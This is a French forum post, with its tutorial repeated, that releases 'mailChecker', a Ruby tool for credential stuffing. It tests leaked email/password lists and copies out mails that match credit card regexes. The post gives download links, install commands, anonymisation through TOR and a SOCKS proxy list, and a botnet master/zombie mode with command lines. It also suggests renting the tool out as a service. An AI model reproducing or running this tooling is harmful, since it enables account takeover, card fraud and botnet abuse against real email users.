Bonjour à tous.
Suite à la présentation d'un service payant appelé "xPassword" sur un autre topic, j'avais dit que j'irai repêcher un de mes vieux scripts d'ex chapeau noir. Chose promise, chose due !
Voici donc un script qui permet de tester rapidement des listes de mails / mots de passe, et extraire du contenu des messageries les données utiles (CC, comptes de jeu en lignes ou autres).
Le petit outil s'appelle mailChecker. Celui-ci est conçu pour fonctionner en deux modes distincts.
- Un mode single (où vous ne disposez que de votre propre poste pour effectuer le travail)
- Un mode distribué conçu pour être déployé sur un botnet. Dans ce cas, vous devez déployer le programme en mode serveur sur les zombies, et lancer le programme en mode maitre sur votre machine.
- Une forte résistance à la panne. Lorsqu'un ou plusieurs bots passent hors ligne, leur travail est automatiquement réparti sur les bots restants.
Le programme est aussi capable de masquer votre identité en utilisant TOR, ou des listes de proxys SOCKS. Dans le cas où vous ne disposez pas de listes à jour, le programme peut automatiquement mettre sa liste à jour en allant récupérer des proxys frais depuis le net.
Si vous avez un dépôt GIT, ce serait sympa d'héberger le projet. En attendant, je poste le code source ici dans une archive tar.gz.
REMARQUE : Ce programme a été conçu comme un petit outil perso. Sa publication n'a jamais été prévue, ce qui explique certains points flemme-cracra dans le code. Celui-ci a été écris avec une vieille version de ruby (à l'époque). Je l'ai mis à jour vite fait. Il tourne sur ruby 1.9.1. Vous devrez cependant corriger un bug dans uns des gems officiels du projet ruby (Socksify ? je ne sais plus...).
Enfin, pas grand chose à faire pour que ça marche. Après, il reste pleins de trucs à faire pour rendre le projet propre.
http://www.openbio.fr/index.php?s=file_download&id=7
ou
http://www.mediafire.com/download/5s...Checker.tar.gz
Remarque: Quand le programme tourne en mode master, vous pouvez vérifier l'état d'avancement des taches sur les différents bots en envoyant au programme maitre le signal qui va bien:
kill -SIGUSR1 {PID}
Quand j'aurai un moment, j'écrirai le manuel.
TUTORIEL _________________________
Voici les informations qui vous permettront d'utiliser le programme comme il faut. La procédure ci dessous a été réalisé sur Ubuntu 13.
INSTALLATION
1 - Récupérer le code source.
2 - Décompresser l'archive
4 - Installer ruby 1.9.1
5 - Installer les différents gems requis
Si vous lancez le programme dès à présent, vous aurez l'erreur suivante :
Il est nécessaire de corriger une régression dans xmlparser.rb à la ligne 76
Remplacez
c.downcase == name
par
c.to_s.downcase == name
Vous pouvez ensuite lancer le programme
CONFIGURATION
Si vous avez correctement réalisé les manipulations décrites au dessus, vus devriez voir le manuel s'afficher
Le programme peut fonctionner directement sur votre poste ou être déployé sur un botnet.
Pour vérifier une liste de mails, transformez votre liste vers un format csv utilisant le séparateur tabulation. Votre fichier csv est alors de la forme suivante:
Le ficher de liste de mails doit être indiqué avec l'option -m si nécessaire.
Suivant que vous souhaitez être anonyme ou non , vous pouvez utiliser les options suivantes :
--proxy : Permet d'utiliser un proxy SOCKS
--autoproxy : Le programme va directement chercher sur internet les proxys qu'il va tester et utiliser
--proxylist : Le programme va utiliser une liste de proxys au format texte (chaque ligne doit être au format proxyip:address)
--noproxy : Se connecte directement, sans masquer son identité
Ci dessous voici un exemple de fichier liste de proxys:
Pour spécifier au soft ce que vous recherchez dans les boites mails, vous devez éditer le fichier /resources/regexmatcher.rb . Ce fichier contient les regex utilisés pour repérer les données d’intérêt. Chaque mail qui contient une ou plusieurs chaines de caractères correspondant à une de ces regexs sera copié par le programme pour y effectuer des analyses ultérieures.
Par défaut, le fichier regexmatcher.rb est le suivant:
Il permet de rechercher les mails contenant des données relatives aux cartes de crédit American Express, Visa, Mastercard, Discover, DNSCLB et jcb.
MODE SINGLE
Dans l'exemple suivant, nous configurons le soft pour utiliser tor (proxy a 127.0.0.1:9150) pour aller scanner le contenu des boites mails:
Le résultat de l'analyse est rangé dans un sous dossier du dossier /out Ce sous dossier contient un fichier csv contenant tous les couples mail / password valides, et un ensemble de fichiers commençant par "regex" contenant les emails ayant matchés avec l'expression régulière associée.
Remarque : Le contenu des emails est encodé en base64 dans ces fichiers.
MODE BOTNET
Pour utiliser le soft avec votre botnet, il faut mettre le programme en mode écoute sur chacun des zombies, puis fournir la liste des IP : ports associés au programme maitre qui se chargera de contrôler les zombies.
Pour mettre le programme en mode écoute (serveur), vous devrez l'utiliser sur vos zombies de la façon suivante:
L'option -l indique le port qu'utilisera le programme pour écouter les instructions du maître (ici 8798).
L'option -w indique le mot de passe qui devra être fourni pour utiliser le service.
Remarque : On peut combiner les options classiques de "masquage" d'identité. Au quel cas, avant de taper sur les serveurs de messageries, vos zombies utiliseront le proxy voulu. Dans l'exemple ci dessus, l'utilisation de proxy est désactivé par l'option -n et la connexion aux serveurs de messagerie se fait directement.
Remarque : Plusieurs maitres peuvent utiliser simultanément le même botnet, ce qui vous laisse la possibilité de louer votre service de scan de messagerie sur botnet.
Une fois les services déployés sur vos zombies, vous devez démarrer une instance maître en mode botnet master. Pour ce faire, vous devez créer un fichier csv contenant toutes les IP : port de vos zombies ainsi que les mots de passe associés.
Dans notre exemple ci dessus, et avec un seul zombie (1.2.3.4), notre fichier botnet.csv ressemblerait donc à ça (L'espace entre le port 8798 et le mot de passe DEVANT être une tabulation.):
La commande pour lancer le programme maitre est alors la suivante:
Dans l'exemple ci dessus, la connexion entre le maitre et les bots n'est pas anonyme. Vous pouvez tout à fait utiliser les options -p -z ou -a pour plus de discrétion.
Le travail du botnet peut être assez long. Pour vérifier l'état d'avancement, vous devez envoyer un signal USR1 au programme maitre. Commencez par repérer le PID du programme maitre:
Notre PID est donc 23673.
Puis envoyez le signal qui va bien:
Un tableau s'affiche alors du côté du programme maitre:
La colonne BOT vous indique les ips : port des différents zombies.
La colonne OK vous indique le nombre de couples mail / password valides
La colonne KO vous indique le nombre de couples mail / password faux
La colonne UNK vous indique le nombre de couples mail / password qui n'ont pas encore été testés
La colonne TOT vous présente l'état d'avancement du travail du bot.
La ligne inférieure vous présente le taux de mails analysés sur le nombre de mails total à vérifier.
Remarque : Si un de vos zombies devient soudainement DOWN, son travail est automatiquement transféré vers un zombie encore UP. Ce qui vous assure la continuité et l'inégrité de l'analyse.
Une fois les analyses terminés, les résultats sont rapatriés sur la machine maitre dans le dossier /out
Remarque finale, le mode écoute publie un service SOAP. Du coup, il est facile d'écrire vos propres softs de contrôle a partir de la WSDL si vous voulez un truc plus poussé.
Suite à la présentation d'un service payant appelé "xPassword" sur un autre topic, j'avais dit que j'irai repêcher un de mes vieux scripts d'ex chapeau noir. Chose promise, chose due !
Voici donc un script qui permet de tester rapidement des listes de mails / mots de passe, et extraire du contenu des messageries les données utiles (CC, comptes de jeu en lignes ou autres).
Le petit outil s'appelle mailChecker. Celui-ci est conçu pour fonctionner en deux modes distincts.
- Un mode single (où vous ne disposez que de votre propre poste pour effectuer le travail)
- Un mode distribué conçu pour être déployé sur un botnet. Dans ce cas, vous devez déployer le programme en mode serveur sur les zombies, et lancer le programme en mode maitre sur votre machine.
- Une forte résistance à la panne. Lorsqu'un ou plusieurs bots passent hors ligne, leur travail est automatiquement réparti sur les bots restants.
Le programme est aussi capable de masquer votre identité en utilisant TOR, ou des listes de proxys SOCKS. Dans le cas où vous ne disposez pas de listes à jour, le programme peut automatiquement mettre sa liste à jour en allant récupérer des proxys frais depuis le net.
Si vous avez un dépôt GIT, ce serait sympa d'héberger le projet. En attendant, je poste le code source ici dans une archive tar.gz.
REMARQUE : Ce programme a été conçu comme un petit outil perso. Sa publication n'a jamais été prévue, ce qui explique certains points flemme-cracra dans le code. Celui-ci a été écris avec une vieille version de ruby (à l'époque). Je l'ai mis à jour vite fait. Il tourne sur ruby 1.9.1. Vous devrez cependant corriger un bug dans uns des gems officiels du projet ruby (Socksify ? je ne sais plus...).
Enfin, pas grand chose à faire pour que ça marche. Après, il reste pleins de trucs à faire pour rendre le projet propre.
http://www.openbio.fr/index.php?s=file_download&id=7
ou
http://www.mediafire.com/download/5s...Checker.tar.gz
Code:
Usage: mailchecker [MODE] [OPTIONS] mailChecker [v 0.8.1] : email list password checker and data extractor. This program can be used to automatically scan a large number of email accounts and fetch any interresting content (see /resources/regexmatchers.rb). This program can be used in single mode, listen mode (for botnet use), and master mode (botnet control). MAILLIST.CSV If not in listen mode, you MUST provide an email / password list in CSV format. The CSV separator MUST be tab Options -p, --proxy PROXYIP:PORT Use some user defined proxy (SOCKS 5 only !). Set this option to use the TOR network. -c, --check-tor Checks that TOR network is properly configured. -m, --maillist MAILIST.CSV Use this mailist to check email/password couples. The mail list must be in CSV format, each line must be like [email protected]\tpassword . -b, --botnet BOTNETIPS.TXT Use this option to delegate work to running instances of mailchecker in listen mode on your zombies. The .txt file must contains an IP:PORT list. The port to use is the one used by slave instance (listen mode) of mailchecker running on the zombie. -v, --verbose Activate verbose mode. -a, --autoproxy Fetch automatically a proxy list from search engine, test it and use it -z PROXYLISTFILE.txt, Test and use custom proxy list file. The proxy file format must be in text format, each line shall use the following format: proxyip:port --proxylist -n, --noproxy Use non-anonymous direct connection. -h, --help Display this manual -l, --listen PORT Listen mode. Activates service mode using specified port. --password argment must be setted. Use this mode when mailchecker is deployed on your zombies. -w, --password PASSWORD Password needed to use mailchecker service in listen mode.
kill -SIGUSR1 {PID}
Quand j'aurai un moment, j'écrirai le manuel.
TUTORIEL _________________________
Voici les informations qui vous permettront d'utiliser le programme comme il faut. La procédure ci dessous a été réalisé sur Ubuntu 13.
INSTALLATION
1 - Récupérer le code source.
2 - Décompresser l'archive
Code:
$ tar -xvf mailChecker.tar.gz
Code:
$ sudo apt-get install ruby1.9.1
Code:
$ sudo gem install rubyzip $ sudo gem install ipaddress $ sudo gem install socksify $ sudo gem install simplews $ sudo gem install soap4r $ sudo gem install socksify $ sudo gem install colorize $ sudo gem install zip-zip
Code:
/var/lib/gems/1.9.1/gems/soap4r-1.5.8/lib/xsd/xmlparser.rb:74:in `<top (required)>': XML processor module not found. (RuntimeError)
Code:
$ sudo vim /var/lib/gems/1.9.1/gems/soap4r-1.5.8/lib/xsd/xmlparser.rb
c.downcase == name
par
c.to_s.downcase == name
Vous pouvez ensuite lancer le programme
Code:
cd ./mailChecker/lib ruby ./mailchecker.rb
Si vous avez correctement réalisé les manipulations décrites au dessus, vus devriez voir le manuel s'afficher
Code:
Usage: mailchecker [MODE] [OPTIONS] mailChecker [v 0.8.1] : email list password checker and data extractor. This program can be used to automatically scan a large number of email accounts and fetch any interresting content (see /resources/regexmatchers.rb). This program can be used in single mode, listen mode (for botnet use), and master mode (botnet control). MAILLIST.CSV If not in listen mode, you MUST provide an email / password list in CSV format. The CSV separator MUST be tab Options -p, --proxy PROXYIP:PORT Use some user defined proxy (SOCKS 5 only !). Set this option to use the TOR network. -c, --check-tor Checks that TOR network is properly configured. -m, --maillist MAILIST.CSV Use this mailist to check email/password couples. The mail list must be in CSV format, each line must be like [email protected]\tpassword . -b, --botnet BOTNETIPS.TXT Use this option to delegate work to running instances of mailchecker in listen mode on your zombies. The .txt file must contains an IP:PORT list. The port to use is the one used by slave instance (listen mode) of mailchecker running on the zombie. -v, --verbose Activate verbose mode. -a, --autoproxy Fetch automatically a proxy list from search engine, test it and use it -z PROXYLISTFILE.txt, Test and use custom proxy list file. The proxy file format must be in text format, each line shall use the following format: proxyip:port --proxylist -n, --noproxy Use non-anonymous direct connection. -h, --help Display this manual -l, --listen PORT Listen mode. Activates service mode using specified port. --password argment must be setted. Use this mode when mailchecker is deployed on your zombies. -w, --password PASSWORD Password needed to use mailchecker service in listen mode.
Pour vérifier une liste de mails, transformez votre liste vers un format csv utilisant le séparateur tabulation. Votre fichier csv est alors de la forme suivante:
Code:
[email protected] 123passwordx [email protected] xxx [email protected] 123password
Suivant que vous souhaitez être anonyme ou non , vous pouvez utiliser les options suivantes :
--proxy : Permet d'utiliser un proxy SOCKS
--autoproxy : Le programme va directement chercher sur internet les proxys qu'il va tester et utiliser
--proxylist : Le programme va utiliser une liste de proxys au format texte (chaque ligne doit être au format proxyip:address)
--noproxy : Se connecte directement, sans masquer son identité
Ci dessous voici un exemple de fichier liste de proxys:
Code:
101.55.12.75:1080 50.131.252.186:29662 222.88.155.3:1080 111.207.146.125:1080 88.190.12.131:9865 61.152.200.187:8080 42.121.14.41:1080 183.61.243.9:1080 210.27.145.144:1080 42.121.29.122:1080 61.147.67.2:9124 118.69.198.212:1080 211.167.76.180:1080 42.121.82.151:1080 189.2.252.100:1080 115.156.165.3:1080 119.184.214.18:1080 222.85.131.98:1080 221.238.142.199:1080 61.144.222.144:1080 112.95.164.35:1080 186.120.97.26:6588 76.111.9.108:22841 67.170.229.143:54322 208.185.48.27:1080 180.153.139.246:8887 61.136.68.76:1080
Par défaut, le fichier regexmatcher.rb est le suivant:
Code:
{ :cc_amex => /3[47][0-9]{13}/, :cc_visa => /4[0-9]{12}(?:[0-9]{3})?/, :cc_mastercard => /5[1-5][0-9]{14}/, :cc_dnsclb => /3(?:0[0-5]|[68][0-9])[0-9]{11}/, :cc_discover => /6(?:011|5[0-9]{2})[0-9]{12}/, :cc_jcb => /(?:2131|1800|35\d{3})\d{11}/ }
MODE SINGLE
Dans l'exemple suivant, nous configurons le soft pour utiliser tor (proxy a 127.0.0.1:9150) pour aller scanner le contenu des boites mails:
Code:
$ ruby ./mailchecker.rb -p 127.0.0.1:9150 -c -m ../test/resources/mail_list.csv [!] Checking if TOR is properly configured [!] TOR was sucessfully configured [!] Need to check 1 proxie(s) * Proxy... 127.0.0.1:9150 [ALIVE] [!] 3 emails added [!] Starting 5 threads, spinning the turtle again ! ... etc.
Remarque : Le contenu des emails est encodé en base64 dans ces fichiers.
MODE BOTNET
Pour utiliser le soft avec votre botnet, il faut mettre le programme en mode écoute sur chacun des zombies, puis fournir la liste des IP : ports associés au programme maitre qui se chargera de contrôler les zombies.
Pour mettre le programme en mode écoute (serveur), vous devrez l'utiliser sur vos zombies de la façon suivante:
Code:
ruby ./mailchecker.rb -l 8798 -w password -n
L'option -w indique le mot de passe qui devra être fourni pour utiliser le service.
Remarque : On peut combiner les options classiques de "masquage" d'identité. Au quel cas, avant de taper sur les serveurs de messageries, vos zombies utiliseront le proxy voulu. Dans l'exemple ci dessus, l'utilisation de proxy est désactivé par l'option -n et la connexion aux serveurs de messagerie se fait directement.
Remarque : Plusieurs maitres peuvent utiliser simultanément le même botnet, ce qui vous laisse la possibilité de louer votre service de scan de messagerie sur botnet.
Une fois les services déployés sur vos zombies, vous devez démarrer une instance maître en mode botnet master. Pour ce faire, vous devez créer un fichier csv contenant toutes les IP : port de vos zombies ainsi que les mots de passe associés.
Dans notre exemple ci dessus, et avec un seul zombie (1.2.3.4), notre fichier botnet.csv ressemblerait donc à ça (L'espace entre le port 8798 et le mot de passe DEVANT être une tabulation.):
Code:
1.2.3.4:8798 password
Code:
ruby ./mailchecker.rb -b ../test/resources/botnet.txt -m ../test/resources/mail_list.csv -n
Le travail du botnet peut être assez long. Pour vérifier l'état d'avancement, vous devez envoyer un signal USR1 au programme maitre. Commencez par repérer le PID du programme maitre:
Code:
:~$ sudo ps -e | grep ruby [sudo] password for XXX: 23673 pts/14 00:00:00 ruby
Puis envoyez le signal qui va bien:
Code:
:~$ sudo kill -SIGUSR1 23673
Code:
Botnet work status ________________________________________________________________ | BOT | OK | KO | UNK | TOT | |_______________________|_______|_______|_______|_______________| | 127.0.0.1:8287 | 1 | 0 | 1 | [50.0%] | | 127.0.0.1:8288 | 0 | 0 | 1 | [0.0%] | |_______________________|_______|_______|_______|_______________| ---> Total : 1 / 3 - [33.33333333333333%]
La colonne OK vous indique le nombre de couples mail / password valides
La colonne KO vous indique le nombre de couples mail / password faux
La colonne UNK vous indique le nombre de couples mail / password qui n'ont pas encore été testés
La colonne TOT vous présente l'état d'avancement du travail du bot.
La ligne inférieure vous présente le taux de mails analysés sur le nombre de mails total à vérifier.
Remarque : Si un de vos zombies devient soudainement DOWN, son travail est automatiquement transféré vers un zombie encore UP. Ce qui vous assure la continuité et l'inégrité de l'analyse.
Une fois les analyses terminés, les résultats sont rapatriés sur la machine maitre dans le dossier /out
Remarque finale, le mode écoute publie un service SOAP. Du coup, il est facile d'écrire vos propres softs de contrôle a partir de la WSDL si vous voulez un truc plus poussé.
Commentaire